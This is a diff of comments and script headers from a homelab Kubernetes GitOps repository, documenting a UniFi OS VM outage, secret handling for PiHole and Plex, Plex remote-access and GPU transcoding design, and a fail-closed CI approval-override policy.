-   **interactive** (no official silent flag). The shipped cloud-init had to be cut to ~1.1 KB for
-   the inline `userData` limit, so the `install-uos` helper is **no longer baked into the guest**.
-   **Decision needed:** operator runs the install by hand at bring-up (current de-facto answer), or
-   invest in a verified silent path (Secret-delivered cloud-init + a fetched-at-boot URL).
-2. **CDI http import (MEDIUM) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
+1. **The guest lost its IP (HIGH) — THE LIVE BLOCKER, and it needs the operator.** Diagnosis
+   requires a shell, which requires `console-password` above plus one restart. First things to run
+   on the console: `ip -4 a`, `networkctl status enp1s0`, `journalctl -u systemd-networkd`,
+   `ls /etc/netplan`, and `systemctl status uosserver`. A plain restart may well restore DHCP on its
+   own (the address survived the first ~34h of this boot's life), but that would hide the cause, so
+   capture the state before rebooting a second time if you can.
+2. **Unattended install (MEDIUM) — mechanism shipped, end-to-end run NOT witnessed.** See the
+   install-method section: no official silent flag exists, `yes y | <installer> install` is the
+   convergent community practice, and it has not been executed on our guest. Treat the first real
+   install as something to watch on the console log, not as a fire-and-forget.
+3. **CDI http import (LOW) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
    import on this cluster). Still no checksum on an http source, and the URL tracks a *moving*

    fixes (`nonroot-devices`, `longhorn-scratch`) — see above.

+# KubeVirt mounts this Secret into the VM as a tiny read-only iso9660 disk labelled `UOSDATA` (see
+# the `uosdata` volume in 30-virtualmachine.yaml); each key below becomes a file of the same name on
+# that disk, and the in-guest `uos-install.service` reads them on EVERY boot.
+#
+# READ THIS FIRST — UOS IS ALREADY INSTALLED ON THE LIVE PROD GUEST (verified 2026-09-14, see the
+# README "What is actually wrong"). `installer-url` is therefore NOT the fix for today's outage; it
+# is the rebuild path and the "the install never happened" path. `install-uos` refuses to run the
+# installer at all while systemd knows a `uosserver.service`, so filling this in cannot clobber a
+# working controller. `console-password` IS useful today: it is the only way to get a shell.
+#
+# WHY THE URL IS BEHIND SOPS: it is obtained through the operator's own (free) Ubiquiti account
+# session at ui.com/download/software/unifi-os-server, it identifies a specific build, and it is not
+# ours to redistribute. Treat it as account-derived material, not as public configuration.
+# HONEST CAVEAT, checked 2026-09-14: the resulting `https://fw-download.ubnt.com/data/
+# unifi-os-server/<hash>-linux-x64-<version>-<uuid>.<n>-x64` URL carries NO signature query string,
+# and public community install scripts hard-code these URLs — so it does not behave like a
+# short-lived signed link. It does change every release. Encrypting it costs nothing and keeps the
+# repo's "account-derived material is not config" line clean, but do NOT design around "it expires".
+#
+# HAND-OFF STEPS (operator) — this is the whole job:
+#  (a) Sign in at https://ui.com/download/software/unifi-os-server, pick the Linux (x64) build, and
+#      copy the download link (right-click -> Copy link address). Do NOT download it here; the guest
+#      fetches it itself.
+#  (b) Open the encrypted sibling in your editor:

+#  (c) Replace the two REPLACE-ME values. Either may be left as the placeholder — the guest skips a
+#      placeholder rather than failing.
+#  (d) Save/quit (sops re-encrypts in place), commit, push, merge to the branch prod tracks.
+#  (e) Restart the VM once so the new cloud-init instance and the new disk are picked up:

+# PiHole WEB/API ADMIN PASSWORD — the one piece of PiHole state that was NOT declared anywhere.
+# =================================================================================================
+# WHY THIS FILE EXISTS. Measured on live prod 2026-10-04, `pihole.toml` marks every non-default
+# setting with `### CHANGED`, and names the ones that came from the environment `### CHANGED (env)`.
+# The complete list was:
+#
+#     dns.upstreams          ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.listeningMode      ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.rateLimit.count    ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     misc.dnsmasq_lines     ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     files.macvendor        ### CHANGED         <- set by the image itself, container path
+#     webserver.api.pwhash   ### CHANGED         <- SET OUT OF BAND. Declared NOWHERE. This file.
+#
+# So exactly ONE operator-set value lived only on the Longhorn PVC: the admin password, as a
+# one-way BALLOON-SHA256 hash. Nobody could recover it (a hash does not reverse), nothing in git
+# produced it, and a rebuild from git would have come up with a DIFFERENT password — or none.
+#
+# THE REASON THIS BLOCKS HA, which is why it is fixed first. The next step is running more than one
+# PiHole replica, and a replica with a fresh PVC would come up with its own unrelated password. The
+# admin UI would then accept or reject the same credential depending on which pod answered. Declaring
+# it here makes every replica, and every rebuild, identical by construction.
+#
+# MECHANISM: `webserver.api.password` is a real, settable FTL config key — verified in the running
+# image, where `pihole setpassword` is itself just `setFTLConfigValue "webserver.api.password"` with
+# the comment "pihole-FTL will automatically hash the password". So FTL takes CLEARTEXT on this key
+# and writes the hash into `webserver.api.pwhash` itself. catalog/pihole.yaml therefore passes this
+# value as `FTLCONF_webserver_api_password`, and the hash on the PVC becomes a derived artefact
+# rather than the source of truth.
+#
+# DEFENCE IN DEPTH, NOT THE ONLY GATE. The admin UI is already behind the oauth2-proxy sidecar
+# (`--allowed-group=platform-admins`), so this password is a SECOND gate. It is kept rather than set
+# empty because the `pihole` Service still publishes port 80 (PiHole direct, bypassing the proxy on
+# :4180) and only the CiliumNetworkPolicy closes it — and the default-deny policy in this repo has a
+# documented drift history. An unauthenticated admin UI that can rewrite LAN DNS is not a good thing
+# to leave resting on one policy staying correct. Narrowing that Service port is tracked follow-up.
+#
+# ROTATION: `sops` this file in your own terminal, change the value, commit. Flux re-applies the
+# Secret, the pod restarts, FTL re-hashes. Do NOT `sops -d` it into a shared terminal or a log
+# (CLAUDE.md section 6); read it in an editor. The value below was generated randomly at authoring
+# time and has never been printed to a transcript.

+# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
+# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
+# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
+# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
+# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
+#
+# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
+# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
+# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
+# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
+#
+# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
+# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
+# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
+#
+# WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
+# s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against
+# the same file extracted from the running `plexinc/pms-docker:latest` image):
+#   - line 106 guards the claim exchange on TWO conditions: PLEX_CLAIM non-empty AND the
+#     PlexOnlineToken pref read out of /config empty. Once the server is claimed that block is
+#     skipped entirely, so whatever this Secret holds is a NO-OP on every later start. Upstream
+#     README: "If server is already logged in, this parameter is ignored."
+#   - on a still-UNCLAIMED /config, an invalid or expired token makes plex.tv answer 403 with an
+#     empty body. curl's exit status is never checked, the sed for the authentication-token element
+#     yields the empty string, and the success branch at line 120 simply does not fire. There is no
+#     else branch and no non-zero exit; the script has no `set -e` and ends by touching
+#     /.firstRunComplete and echoing, so it exits 0. The server comes up UNCLAIMED and serving.
+#     It does NOT crashloop.
+#   - the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS, whose default is 0 ("continue silently even
+#     if a cont-init script failed"), so even a hypothetical non-zero exit would not halt startup.
+# A MISSING Secret would NOT be safe: the ServiceDefinition schema's valueFrom.secretKeyRef shape
+# has no `optional` field, so an absent Secret is a hard CreateContainerConfigError. That is exactly
+# why this file is committed and listed in apps/wave-0/kustomization.yaml instead of being created
+# by hand at claim time.
+#
+# INJECTION / ROTATION (operator, not agents) — runbooks/plex-claim.md has the timed procedure:
+#   infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
+# Never decrypt this file into a shell, a log, or a shared terminal.

+# PLEX REMOTE ACCESS — raw tcp/32400 north-south exposure, and the policy that admits it.
+# =================================================================================================
+# HAND-WRITTEN, NOT RENDERED. A non-catalog app-tier unit anchored to the `plex` ServiceDefinition
+# and placed into wave 0 by `catalog/render.py --emit-waves` via its EXTRA_UNITS table — the same
+# mechanism gitea-actions and pihole-dns use. It is hand-written for the SAME reason those are:
+# schemas/servicedefinition.schema.json is `additionalProperties: false` and has NO field for a
+# type=LoadBalancer Service, for a pinned lbipam VIP, or for raw-TCP north-south exposure at all.
+# `ingressRoutes` renders HTTPRoutes on the shared Gateway, which is an L7 HTTPS terminator.
+#
+# WHY THE L7 GATEWAY IS NOT ENOUGH HERE — and it is NOT because the Gateway fails to serve Plex.
+# Measured 2026-10-03 through the Gateway VIP: `GET https://plex.home.keithjackson.dev/identity`
+# returned HTTP 200 with `claimed="1"` and the real machineIdentifier, and the protected endpoints
+# (/library/sections, /status/sessions, /:/prefs) all returned 401. The L7 path WORKS.
+#
+# The problem is DISCOVERY, not proxying. Plex apps (phone, TV, Roku) do not resolve
+# `plex.${BASE_DOMAIN}`; they ask plex.tv for the server's connection list. A server gets onto that
+# list one of two ways: it advertises a custom URL (`customConnections`, the ADVERTISE_IP env), or it
+# publishes a reachable public IP:port for its own tcp/32400. Measured in the live Preferences.xml on
+# 2026-10-03: `customConnections` ABSENT, `ManualPortMappingMode` ABSENT, while
+# `PublishServerOnPlexOnlineKey="1"` — the server was trying to publish and had nothing reachable to
+# publish, so remote clients saw NO connection at all. The operator chose the NATIVE path (this
+# file) over advertising the Gateway URL: Plex then terminates its own TLS with its
+# `*.plex.direct` certificate and video streams bypass the Envoy L7 hop entirely.
+#
+# VIP: ${PLEX_L4_VIP} (cluster-vars, R-ENV-02 — dev 192.168.1.57, prod 192.168.2.24), PINNED via
+# lbipam.cilium.io/ips out of the CiliumLoadBalancerIPPool `default-pool`
+# (${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP}) and ARP-announced on the flat LAN by the existing
+# CiliumL2AnnouncementPolicy `default-l2` (platform-config/cilium/*). No new Cilium config is needed;
+# this Service just consumes the pool. PINNING IS NOT OPTIONAL: the address is typed into a WAN
+# port-forward on the SOHO router, which is hand-maintained and off-repo, so it can never move.
+# 192.168.2.24 verified FREE live 2026-10-03 — `default-pool` reported IPsTotal 11 / IPsUsed 4 /
+# IPsAvailable 7, and the only four allocations were .20 (cilium-gateway-shared), .21 (unifi-l4-*),
+# .22 (crafty-l4-*) and .23 (pihole-dns-*).
+#
+# ONE SERVICE, TCP ONLY. Unlike unifi/crafty/pihole-dns this needs no second Service and no
+# lbipam.cilium.io/sharing-key: Plex's remote access is tcp/32400 and nothing else. (Plex's
+# DLNA/GDM discovery uses UDP, but that is LAN-only multicast and is not part of remote access.)
+#
+# NO `loadBalancerSourceRanges`, DELIBERATELY — and this is the one place this file diverges from
+# its closest sibling. apps/wave-0/pihole-dns.yaml pins its source range to ${LAN_CIDR} because a
+# resolver must never answer the internet. This Service is the OPPOSITE case: admitting remote
+# clients from arbitrary internet addresses is its entire purpose, so there is no range to narrow
+# to. Plex authenticates every caller itself (measured above: 401 on every protected endpoint
+# without a token), which is what makes an unfiltered port defensible here.
+#
+# NO external-dns ANNOTATION, DELIBERATELY. unifi and crafty both carry
+# `external-dns.alpha.kubernetes.io/hostname` so external-dns publishes their VIP as a public
+# Cloudflare record. This Service must not, for pihole-dns's reason: ${PLEX_L4_VIP} is an RFC1918
+# address that is useless in public DNS. Remote clients get this server's address from plex.tv, not
+# from the zone. The existing public `plex.${BASE_DOMAIN}` record is published from the rendered
+# HTTPRoute via the gateway source and is NOT affected by this file — the web UI keeps working
+# through the Gateway exactly as before.
+#
+# -------------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — inherited from crafty's 8-DAY LAN OUTAGE, not re-derived.
+# -------------------------------------------------------------------------------------------------
+# `Local` is the tempting choice because it preserves the client source IP, which this service
+# actually has a use for (see the allowedNetworks note below). It is still WRONG here, for the
+# reason platform/crafty/service-l4.yaml documents at length: Cilium's L2 announcer elects ONE lease
+# holder per Service and does NOT follow the backend pod, so with `Local` the VIP can be announced
+# by a node that has no Plex pod, which black-holes the port while every object still reports
+# healthy. Plex is a single-replica Deployment with `strategy: Recreate` pinned to wherever the
+# scheduler put it, so the mismatch is the normal case, not a rare one. Take the SNAT.
+#
+# KNOWN CONSEQUENCE OF THAT CHOICE, stated rather than discovered later: `Cluster` SNATs the client
+# to the ingress NODE's address (192.168.2.1x), which falls inside the `192.168.0.0/16` entry of
+# catalog/plex.yaml's ALLOWED_NETWORKS. Plex will therefore classify every REMOTE client as LAN.
+# Measured 2026-10-03 on the Gateway path, which SNATs the same way: Plex logged the request as
+# `[10.0.2.214:36040 (Allowed Network (WAN))]`. This is a METERING effect, not a security one —
+# authorization is unchanged (401s above), but Plex's remote-quality/bandwidth limits will not bind
+# on these streams because it believes they are local. Narrowing ALLOWED_NETWORKS cannot fix it
+# without also de-classifying genuine LAN clients, so it is accepted.

-          #   and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
-          #     - A bare  $name  is NOT a reference to envsubst: it passes through untouched, and
-          #       that holds even when the name IS set in cluster-vars. So $i and $j reach the
-          #       cluster verbatim and both 60s bounds below are real, enforced bounds.
-          #     - $((i + 1))  is likewise untouched: "(" cannot begin a variable name.
-          #     - A BRACED dollar-name IS a reference and gets replaced — with the empty string
-          #       when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
-          #       which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
-          #     - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced

-          #       correct on BOTH paths.
-          #     - A braced name containing punctuation is a HARD ERROR ("unable to parse variable

+  #     before the pod is even evicted, then reschedule, then Longhorn must force-detach the RWO
+  #     volume from a dead node and reattach it. Roughly 6-10 MINUTES with no LAN resolution.
+  #   * the node holding the `pihole-dns-*` L2 lease dies -> Cilium re-elects an announcer, tens of
+  #     seconds. (These were DIFFERENT nodes: lease on k3s-prod-2, pod on k3s-prod-1. Two of three
+  #     nodes were single points of failure for LAN DNS, with wildly different blast radii.)
+  # The Services already tolerate this: `externalTrafficPolicy: Cluster` on the DNS LoadBalancers
+  # (apps/wave-0/pihole-dns.yaml) means the L2 lease holder forwards to ANY ready backend, so a
+  # second replica is picked up with no change there.
+  #
+  # WHAT THIS DOES NOT FIX, and it is the bigger risk: LAN DNS still depends on the CLUSTER. etcd
+  # quorum loss, a Cilium regression, a Longhorn problem or a bad reconcile takes DNS down

+  # SERVING DNS AND BLOCKING NOTHING, silently and with every object reporting healthy.
+  #
+  # WHY A postStart HOOK AND NOT A FILE. PiHole v6 keeps adlists as DB rows, not config. The
+  # `/etc/pihole/adlists.list` file still exists in `gravity.sh` but is MIGRATION-ONLY: its import

+  # (apps/wave-0/plex-claim-secret.sops.yaml, same wave => applied in the same reconcile as this
+  # workload). Plex cannot create libraries over the mounted bulk share while the server is
+  # UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
+  # half of that reasoning survived contact with the upstream source.
+  #
+  # A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
+  # expires in MINUTES — read the countdown the claim page renders; do not budget against a number
+  # written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
+  # UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
+  # for the whole procedure design — including a since-disproven claim that the delivery pipeline was
+  # too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
+  #
+  # The live token is injected by the operator inside that window, with an explicit `flux reconcile`
+  # to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
+  # the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
+  # committed value is the spent token from that claim rather than the original placeholder.
+  #
+  # ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
+  # (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in
+  # the running `:latest` image), NOT assumed:
+  #   - the exchange (line 106) is guarded on TWO conditions: PLEX_CLAIM non-empty AND the
+  #     PlexOnlineToken pref in /config empty. Once claimed, the block is SKIPPED — this env is a
+  #     no-op on every subsequent start, whatever it holds. (Upstream README: "If server is already
+  #     logged in, this parameter is ignored.") The claim itself persists on the /config PVC as before.
+  #   - an invalid/expired token on a still-unclaimed /config gets a 403 with an empty body; curl's
+  #     status is unchecked, the token `sed` yields "", the success branch at line 120 does not fire,
+  #     there is no `else` and no `exit 1`, and the script (no `set -e`) exits 0. It comes up UNCLAIMED and
+  #     SERVING — it does NOT crashloop. The image also leaves S6_BEHAVIOUR_IF_STAGE2_FAILS at its
+  #     default 0, which continues startup even when a cont-init script fails.
+  # So the earlier "a placeholder claim Secret would crashloop the pod" note was WRONG about the

+  # so the Secret must always exist in the Flux graph — which is why it is committed, encrypted, and

+  #
+  # THAT IS NOT THEORETICAL — IT TOOK PLEX DOWN FOR THE WHOLE LAN ON 2026-10-05. This field briefly
+  # advertised `plex-vip.${BASE_DOMAIN}`, a name that exists ONLY in PiHole's split-horizon answers
+  # (catalog/pihole.yaml) and in no public zone. Clients that did not use PiHole could not resolve
+  # it; the SOHO router answered the failed lookup with ITSELF, and every one of them landed on the
+  # router's own web UI and reported a certificate error for `CN = %D`. Measured 2026-10-05: the
+  # router serves that self-signed cert (`C = ZZ, O = %D342e7e6b, CN = %D`) on BOTH `192.168.2.1:443`
+  # and the WAN address, while PiHole itself was answering perfectly — both replicas returned
+  # `plex-vip -> ${PLEX_L4_VIP}` and `plex -> ${GATEWAY_VIP}`. The DNS was right; the DEPENDENCY on
+  # it was the bug. Nothing Plex advertises listens on 443, which is how we know the clients had left
+  # the Plex path entirely and were talking to the router.
+  #
+  # SO: `<dashed-ip>.<serverhash>.plex.direct`, WHICH IS RESOLVER-INDEPENDENT. This is Plex's own
+  # mechanism and the reason it exists: `plex.direct` is a PUBLIC zone that returns the private
+  # address embedded in the label, so EVERY resolver on earth — PiHole, the router, 1.1.1.1, a DoH
+  # browser — answers `192-168-2-24.<hash>.plex.direct` with `192.168.2.24`. It needs no
+  # split-horizon entry, no Cloudflare record, and no certificate work, because the wildcard cert
+  # Plex already serves on 32400 covers exactly this name. Re-verified live 2026-10-05 with FULL
+  # validation (no `curl -k`): resolves to 192.168.2.24 and `/identity` returns **200, TLS verified**.
+  #
+  # WHY NOT THE NICER HOSTNAME, since a readable name in our own zone is obviously more pleasant:
+  # it cannot be made to work for clients that bypass PiHole. A public record for it would resolve
+  # to the WAN address, and with no NAT hairpin on this router a LAN client sent there fails too —
+  # so the hostname is correct ONLY for clients using PiHole, and wrong for the rest. There is no
+  # configuration of that name that is right for both. `plex.direct` is right for both.
+  # (The PiHole `plex-vip` answer is KEPT — it is harmless, costs nothing, and is genuinely useful
+  # for reaching the VIP by name from a LAN shell. It is simply not what Plex advertises.)
+  #
+  # THE TWO EMBEDDED VALUES, and the honest cost of this choice. The dashed IP must track
+  # ${PLEX_L4_VIP} and `<serverhash>` is this server's certificate identity — read it from the live
+  # listener with
+  #     openssl s_client -connect <vip>:32400 </dev/null | openssl x509 -noout -subject
+  # Nothing in this tree can derive either, and nothing checks that they still agree: envsubst
+  # cannot dash an IP, so this is a literal. That fragility is real and was the reason the hostname
+  # was tried in the first place — it is accepted here because an unresolvable name is a WORSE
+  # failure (silent, LAN-wide, and it points users at the router) than a stale literal, which at
+  # least fails loudly and only after someone changes the VIP.

+  #
+  # WHY ENV AND NOT A VOLUME, which would be the conventional choice. MEASURED 2026-10-04:
+  # `schemas/servicedefinition.schema.json` `storage` accepts only
+  # [class, export, mountPath, name, readOnly, size, subPath] with `additionalProperties: false`,
+  # `catalog/render.py` emits NO secret volumes, and no rendered app mounts a Secret as a volume.
+  # Mounting one therefore needs a schema + renderer change; `env.valueFrom.secretKeyRef` is
+  # already in the schema and already used by PLEX_CLAIM above. PEM is text, so it survives an env
+  # var intact (a raw PKCS#12 would not — it is binary and carries NUL bytes).
+  #
+  # COST, STATED PLAINLY: the private key is readable from this container's environment
+  # (/proc/1/environ, `kubectl exec env`) by anything that can already exec into the pod. That is
+  # the same audience that can read the converted bundle under /config, so the marginal exposure is
+  # small — but a secret VOLUME would still be the better shape, and adding secret-volume support
+  # to the schema is the clean follow-up that removes this note.
+  #
+  # `optional: true` IS LOAD-BEARING, NOT DEFENSIVE CLUTTER (schema 1.11.0, added for this). The
+  # Certificate is issued INTO THIS NAMESPACE, and the namespace is created by the rendered
+  # apps/wave-0/plex.yaml itself — so the cert CANNOT be issued in an earlier tier, and the
+  # Certificate and this Deployment land in the SAME reconcile. On a cold bootstrap the Secret is
+  # therefore briefly absent while cert-manager completes a DNS01 challenge. With a HARD ref, Plex
+  # would sit in CreateContainerConfigError until a certificate issued — and because `apps-wave-0`
+  # is `wait: true` with `apps-wave-1` dependsOn it, a failed or slow issuance would STALL THE WHOLE
+  # APP TIER (the same hazard the `hardware` block below documents for the GPU resource). Optional
+  # instead means: no cert -> Plex still starts and serves, the postStart hook logs that the
+  # certificate was not installed, and the next start after issuance converges. Plex falls back to
+  # its own `*.plex.direct` certificate in the meantime, so the degraded state is "advertised URL

+# HARDWARE TRANSCODING — the host iGPU's render device (schema 1.8.0 `hardware`; R-PLAT-02).
+# INTENT ONLY, AND THE MECHANISM DELIBERATELY DOES NOT LIVE HERE. This says "this workload needs an
+# Intel Quick Sync render device"; it does NOT name a device path and it does NOT name a resource.
+# How the platform hands the device over is `catalog/render.py`'s business and is documented in
+# `schemas/renderer-contract.md` `### hardware` — read that for the mechanism, never this comment.
+# The payoff is proven, not theoretical: on 2026-10-01 the mechanism was swapped outright (hostPath
+# -> Intel GPU device plugin extended resource) and THIS BLOCK DID NOT MOVE — a `render.py` change
+# plus a re-render, zero catalog edits. Do not "simplify" it into a raw `/dev/...` path; that is the
+# whole point of the enum.
+#
+# THE DEVICE IS PRESENT ON EVERY PROD NODE, so nothing had to be installed and Plex can land
+# anywhere. Measured on all three nodes 2026-09-30: `/dev/dri/renderD128` present, `root:render`,
+# GID 992, mode 0660, driver `i915` bound (NOT `xe`), UHD Graphics 630 on an i7-9700T, media engines
+# `vcs0`/`vecs0` live, iGPU enabled in BIOS on each. Measured again 2026-10-01, one layer up: all
+# three nodes advertise `gpu.intel.com/i915: 1` in `.status.allocatable`. This field renders no
+# nodeSelector; placement is a separate concern with its own justification.
+#
+# PLEX'S SCHEDULABILITY IS NOW COUPLED TO THE `intel-gpu-plugin` DaemonSet, and that is a real cost,
+# not a footnote. The current mechanism is a hard scheduling constraint: if the resource is
+# unavailable (plugin broken, removed, or not yet reconciled) this pod is UNSCHEDULABLE, and because
+# `apps-wave-0` is `wait: true` with `apps-wave-1` `dependsOn` it, that STALLS THE WHOLE APP TIER.
+# The previous hostPath mechanism degraded silently to software transcoding instead — but it never
+# actually granted access (device-cgroup EPERM, measured 2026-10-01), so there was nothing to keep.
+# THE ESCAPE HATCH IS THIS BLOCK: delete these two lines and re-render, and Plex goes back to
+# software transcoding and the tier unblocks. One field, no code change. `runbooks/plex-quicksync.md`
+# carries that procedure for whoever needs it at 2am.
+#
+# NO `podSecurityContext.supplementalGroups`, AND ADDING ONE WOULD BE INERT — do not "fix" this.
+# The device is `root:render` 0660 and this process is uid/gid 1000, so the obvious move is to push
+# the host `render` GID in as a supplemental group. It cannot work here, and this survived the
+# mechanism swap unchanged. MEASURED IN THE RUNNING CONTAINER, 2026-09-30 and again 2026-10-01: the
+# image's own `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` stats every char device
+# under `/dev/dri`, `groupadd`s a matching group INSIDE the container when none exists, and
+# `usermod -a -G`s the `plex` user into it — every start, nothing hardcoded, which also makes a host
+# GID renumbering self-healing (no GID is pinned anywhere in this repo) and which works the same way
+# on a PLUGIN-INJECTED device as on a bind-mounted one. Measured live, `Plex Media Server` ran with
+# `Groups: 44 100 992 1000` — 992 IS the host `render` GID, i.e. the hook had already done the job.
+# The service execs via `s6-setuidgid plex`, and `s6-setuidgid` REPLACES the process group list from
+# `/etc/group` rather than appending to it, so root's gid `0` — which PID 1 (`s6-svscan`) does hold —
+# is GONE, and anything Kubernetes supplies reaches s6-svscan and is discarded before Plex ever
+# starts. The group is the image's job and it does it correctly. `render.py --selftest` asserts the
+# ABSENCE of a pod securityContext for this field precisely so nobody adds an inert one back later.
+#
+# THE LAST MILE IS A MANUAL OPERATOR STEP AND CANNOT LIVE IN THIS REPO. Handing over the device does
+# not enable hardware transcoding — Plex's own `HardwareAcceleratedCodecs` preference does, and it
+# is ABSENT from `Preferences.xml` today (the toggle has never been on). NO environment variable can
+# set it: a grep of the running image's entire init surface (`/etc/cont-init.d`, `/etc/services.d`,
+# `/etc/fix-attrs.d`, `/plex-common.sh`, `/usr/local/bin`) found ZERO `PLEX_PREFERENCE*` support,
+# and the six prefs the image does write (`MachineIdentifier`, `ProcessedMachineIdentifier`,
+# `PlexOnlineToken`, `customConnections`, `allowedNetworks`, `TranscoderTempDirectory`) are all
+# unrelated. So there is no GitOps path to the toggle; an operator clicks it once in the web UI.
+# `runbooks/plex-quicksync.md` is that procedure, plus how to verify it took.

+#!/usr/bin/env python3
+"""ci/approval-override.py — select the admin-override on a PR, if there is a valid one.
+
+This script decides NOTHING about authority. It parses a PR's comments and reviews and returns
+the single override *candidate* that ci/approval-policy.sh should then try to authorise against
+the live Gitea permission API. Keeping the two apart is the point:
+
+  * parsing is pure, offline, and therefore TESTABLE (ci/tests/approval-override.test.sh);
+  * authorisation needs the API and must stay in the stage that fails closed.
+
+A candidate is a comment OR a review whose body contains, AT THE START OF A LINE, the directive
+followed by a non-empty reason:
+
+    /approve-override the gate cannot gate itself and I am the only human reviewer
+
+TWO SOURCES, AND WHY THAT IS NOT BELT-AND-BRACES. Measured 2026-10-02 on PR #38: the override was
+posted as an ordinary PR comment, was well-formed, was newer than the head commit — and the stage
+still blocked, because CI could not READ it. `SETTINGS_API_TOKEN` is minted with scopes
+`[read:repository, read:admin]`, and Gitea puts /issues/{n}/comments behind the *issue* scope, so
+the request came back as an error OBJECT rather than an array. `/pulls/{n}/reviews` is under
+read:repository and was readable in the same run. So:
+
+  * a REVIEW body works with the token CI has today (leave a review of type "Comment");
+  * a COMMENT body works once the token carries read:issue (see infra/gitea/set-ci-token.sh).
+
+Accepting both means the hatch is not hostage to one API scope. A source that cannot be read
+contributes no candidates and is reported on stderr; it can only cause a false BLOCK, never a
+false pass, which is why degrading it is safe and blocking on it was not necessary.
+
+WHY EACH RULE IS HERE
+
+  * START OF A LINE, not "anywhere in the body". Otherwise quoting someone else's override
+    ("you could just /approve-override this") re-arms it. Lines beginning with '>' are DROPPED
+    rather than unquoted, for exactly that reason.
+  * A REASON IS MANDATORY. A bare directive records that a review was waived but not why, which
+    is the difference between an audit trail and a rubber stamp.
+  * STALE OVERRIDES ARE DISCARDED. An override earned at commit A must not silently cover commit
+    B. Any candidate created at or before the head commit's timestamp is dropped — the same
+    semantics Gitea's own `dismiss_stale_approvals` applies to approvals. Push new commits and
+    you must re-override.
+  * A PENDING REVIEW IS NOT SUBMITTED. It is a private draft visible only to its author, so it is
+    not an act of anything and is dropped.
+  * THE LATEST CANDIDATE WINS, across both sources, so a later override supersedes an earlier one.
+
+Output: one TSV line (login, timestamp, source, reason) on stdout, or nothing at all when there is
+no valid candidate. Never exits non-zero for "no override" — absence is a normal answer and the
+caller must not be able to confuse it with a parse crash.

+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# THE ADMIN OVERRIDE (added 2026-10-01), and the lock-out it clears.
+#
+# The rule above was UNSATISFIABLE for the one human who runs this repo. Gitea refuses to let a
+# pull request's author approve their own PR, and `jakman85` is the only collaborator — so "an
+# APPROVED review from someone who is not its author" is a condition the sole administrator can
+# never meet. Every sensitive-path PR they opened was permanently unmergeable, INCLUDING the PR
+# that would fix it. Measured 2026-10-01: PR #35, gate green in 1m41s, zero reviews, blocked.
+#
+# So an administrator may waive the review by COMMENTING on the PR:
+#
+#     /approve-override <reason>
+#
+# Authority comes from the LIVE Gitea permission API, never from the comment — the commenter must
+# hold a permission listed in `.override.authorized_permissions` (admin/owner) at the moment the
+# gate runs, so an old comment from a since-demoted account is worth nothing. The directive must
+# start a line, a reason is mandatory, and the comment must POST-DATE the head commit: an override
+# earned at commit A does not cover commit B. Choosing the candidate comment is the job of the
